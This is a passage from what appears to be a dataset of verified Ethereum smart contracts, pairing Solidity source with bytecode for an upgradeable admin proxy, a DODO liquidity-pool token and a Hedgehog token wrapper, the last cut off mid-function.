* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f1b777c7a8c4b4627d84e3d3aee70c478a82557820d782b892d51b5f6182ba4364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,478 |
0xc11eccdee225d644f873776a68a02ecd8c015697
|
// File: contracts/intf/IERC20.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/impl/DODOLpToken.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DODOLpToken
* @author DODO Breeder
*
* @notice Tokenize liquidity pool assets. An ordinary ERC20 contract with mint and burn functions
*/
contract DODOLpToken is Ownable {
using SafeMath for uint256;
string public symbol = "DLP";
address public originToken;
uint256 public totalSupply;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
// ============ Events ============
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Mint(address indexed user, uint256 value);
event Burn(address indexed user, uint256 value);
// ============ Functions ============
constructor(address _originToken) public {
originToken = _originToken;
}
function name() public view returns (string memory) {
string memory lpTokenSuffix = "_DODO_LP_TOKEN_";
return string(abi.encodePacked(IERC20(originToken).name(), lpTokenSuffix));
}
function decimals() public view returns (uint8) {
return IERC20(originToken).decimals();
}
/**
* @dev transfer token for a specified address
* @param to The address to transfer to.
* @param amount The amount to be transferred.
*/
function transfer(address to, uint256 amount) public returns (bool) {
require(amount <= balances[msg.sender], "BALANCE_NOT_ENOUGH");
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return balance An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) external view returns (uint256 balance) {
return balances[owner];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param amount uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
require(amount <= balances[from], "BALANCE_NOT_ENOUGH");
require(amount <= allowed[from][msg.sender], "ALLOWANCE_NOT_ENOUGH");
balances[from] = balances[from].sub(amount);
balances[to] = balances[to].add(amount);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
emit Transfer(from, to, amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param spender The address which will spend the funds.
* @param amount The amount of tokens to be spent.
*/
function approve(address spender, uint256 amount) public returns (bool) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return allowed[owner][spender];
}
function mint(address user, uint256 value) external onlyOwner {
balances[user] = balances[user].add(value);
totalSupply = totalSupply.add(value);
emit Mint(user, value);
emit Transfer(address(0), user, value);
}
function burn(address user, uint256 value) external onlyOwner {
balances[user] = balances[user].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(user, value);
emit Transfer(user, address(0), value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80634e71e0c8116100975780639dc29fac116100665780639dc29fac146101dd578063a9059cbb146101f0578063dd62ed3e14610203578063f2fde38b1461021657610100565b80634e71e0c8146101b257806370a08231146101ba5780638456db15146101cd57806395d89b41146101d557610100565b806318160ddd116100d357806318160ddd1461016057806323b872dd14610175578063313ce5671461018857806340c10f191461019d57610100565b806306fdde0314610105578063095ea7b31461012357806313096a411461014357806316048bc414610158575b600080fd5b61010d610229565b60405161011a9190610c89565b60405180910390f35b610136610131366004610b56565b6102f6565b60405161011a9190610c7e565b61014b610361565b60405161011a9190610c6a565b61014b610370565b61016861037f565b60405161011a9190610dcd565b610136610183366004610b16565b610385565b610190610509565b60405161011a9190610dd6565b6101b06101ab366004610b56565b61058b565b005b6101b061068e565b6101686101c8366004610ac7565b61071c565b61014b610737565b61010d610746565b6101b06101eb366004610b56565b6107d1565b6101366101fe366004610b56565b6108c8565b610168610211366004610ae2565b610986565b6101b0610224366004610ac7565b6109b1565b604080518082018252600f81526e5f444f444f5f4c505f544f4b454e5f60881b602082015260035482516306fdde0360e01b815292516060936001600160a01b03909216916306fdde03916004808301926000929190829003018186803b15801561029357600080fd5b505afa1580156102a7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102cf9190810190610b80565b816040516020016102e1929190610c3c565b60405160208183030381529060405291505090565b3360008181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061034f908690610dcd565b60405180910390a35060015b92915050565b6003546001600160a01b031681565b6000546001600160a01b031681565b60045481565b6001600160a01b0383166000908152600560205260408120548211156103c65760405162461bcd60e51b81526004016103bd90610d5b565b60405180910390fd5b6001600160a01b03841660009081526006602090815260408083203384529091529020548211156104095760405162461bcd60e51b81526004016103bd90610ce3565b6001600160a01b038416600090815260056020526040902054610432908363ffffffff610a5c16565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610467908363ffffffff610a8416565b6001600160a01b0380851660009081526005602090815260408083209490945591871681526006825282812033825290915220546104ab908363ffffffff610a5c16565b6001600160a01b038086166000818152600660209081526040808320338452909152908190209390935591519085169190600080516020610e2d833981519152906104f7908690610dcd565b60405180910390a35060019392505050565b6003546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b15801561054e57600080fd5b505afa158015610562573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105869190610c1b565b905090565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016103bd90610d87565b6001600160a01b0382166000908152600560205260409020546105de908263ffffffff610a8416565b6001600160a01b03831660009081526005602052604090205560045461060a908263ffffffff610a8416565b6004556040516001600160a01b038316907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688590610648908490610dcd565b60405180910390a2816001600160a01b031660006001600160a01b0316600080516020610e2d833981519152836040516106829190610dcd565b60405180910390a35050565b6001546001600160a01b031633146106b85760405162461bcd60e51b81526004016103bd90610cbc565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6001600160a01b031660009081526005602052604090205490565b6001546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156107c95780601f1061079e576101008083540402835291602001916107c9565b820191906000526020600020905b8154815290600101906020018083116107ac57829003601f168201915b505050505081565b6000546001600160a01b031633146107fb5760405162461bcd60e51b81526004016103bd90610d87565b6001600160a01b038216600090815260056020526040902054610824908263ffffffff610a5c16565b6001600160a01b038316600090815260056020526040902055600454610850908263ffffffff610a5c16565b6004556040516001600160a01b038316907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59061088e908490610dcd565b60405180910390a260006001600160a01b0316826001600160a01b0316600080516020610e2d833981519152836040516106829190610dcd565b336000908152600560205260408120548211156108f75760405162461bcd60e51b81526004016103bd90610d5b565b33600090815260056020526040902054610917908363ffffffff610a5c16565b33600090815260056020526040808220929092556001600160a01b03851681522054610949908363ffffffff610a8416565b6001600160a01b038416600081815260056020526040908190209290925590513390600080516020610e2d8339815191529061034f908690610dcd565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b031633146109db5760405162461bcd60e51b81526004016103bd90610d87565b6001600160a01b038116610a015760405162461bcd60e51b81526004016103bd90610d34565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610a7e5760405162461bcd60e51b81526004016103bd90610d11565b50900390565b600082820183811015610aa95760405162461bcd60e51b81526004016103bd90610daa565b9392505050565b80356001600160a01b038116811461035b57600080fd5b600060208284031215610ad8578081fd5b610aa98383610ab0565b60008060408385031215610af4578081fd5b610afe8484610ab0565b9150610b0d8460208501610ab0565b90509250929050565b600080600060608486031215610b2a578081fd5b8335610b3581610e14565b92506020840135610b4581610e14565b929592945050506040919091013590565b60008060408385031215610b68578182fd5b610b728484610ab0565b946020939093013593505050565b600060208284031215610b91578081fd5b815167ffffffffffffffff80821115610ba8578283fd5b81840185601f820112610bb9578384fd5b8051925081831115610bc9578384fd5b604051601f8401601f191681016020018381118282101715610be9578586fd5b604052838152818401602001871015610c00578485fd5b610c11846020830160208501610de4565b9695505050505050565b600060208284031215610c2c578081fd5b815160ff81168114610aa9578182fd5b60008351610c4e818460208801610de4565b8351908301610c61828260208801610de4565b01949350505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602082528251806020840152610ca8816040850160208701610de4565b601f01601f19169190910160400192915050565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b60208082526014908201527308298989eae829c868abe9c9ea8be8a9c9eaa8e960631b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252601290820152710848298829c868abe9c9ea8be8a9c9eaa8e960731b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b90815260200190565b60ff91909116815260200190565b60005b83811015610dff578181015183820152602001610de7565b83811115610e0e576000848401525b50505050565b6001600160a01b0381168114610e2957600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220841bccf74b44eca30e990eb033f46ce3d579e580f6773f839326e8d16131a6b264736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 4,479 |
0x0D266eCaA06C555028Bb975C52D71002CAD30EbA
|
/**
*Submitted for verification at Etherscan.io on 2021-02-16
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.11;
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0);
z = x / y;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
//rounds to zero if x*y < RAY / 2
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
//rounds to zero if x*y < WAD / 2
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
//rounds to zero if x*y < RAY / 2
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
contract HedgehogERC20 is IERC20 {
using SafeMath for uint;
string public override name;
string public override symbol;
uint8 public override decimals;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
contract Hedgehog is HedgehogERC20{
using SafeMath for uint256;
bool public initialized;
address public asset;
uint256 public timestamp;
uint256 public oracle;
uint256 public oracle_prev;
event Deposit(address indexed from, uint256 asset_value, uint256 token_value);
event Withdraw(address indexed from, uint256 asset_value, uint256 token_value);
event Oracle(uint256 timestamp, uint256 new_price, uint256 old_price);
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Hedgehog: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function initialize(address _asset) public {
require(initialized == false, "Hedgehog_initialize: already initialized");
asset = _asset;
initialized = true;
string memory _name = IERC20(asset).name();
name = append("Hedgehog ", _name);
string memory _symbol = IERC20(asset).symbol();
symbol = append("h", _symbol);
decimals = 5;
}
function price() public view returns (uint256) {
uint256 token_price = calculateAssetIn(1e5);
return token_price;
}
function deposit(uint256 token_amount, uint256 expected_assets) public lock {
uint256 asset_deposit = calculateAssetIn(token_amount);
require(asset_deposit > 0, "Hedgehog_Deposit: zero asset deposit");
require(asset_deposit <= expected_assets, "Hedgehog_Deposit: deposit assets above expected");
_oracle();
TransferHelper.safeTransferFrom(asset, msg.sender, address(this), asset_deposit);
_mint(msg.sender, token_amount);
Deposit(msg.sender, asset_deposit, token_amount);
}
function withdraw(uint256 token_amount, uint256 expected_assets) public lock {
uint256 asset_withdraw = calculateAssetOut(token_amount);
require(asset_withdraw > 0, "Hedgehog_withdraw: zero asset withdraw");
require(asset_withdraw >= expected_assets, "Hedgehog_Deposit: withdraw assets below expected");
_oracle();
_burn(msg.sender, token_amount);
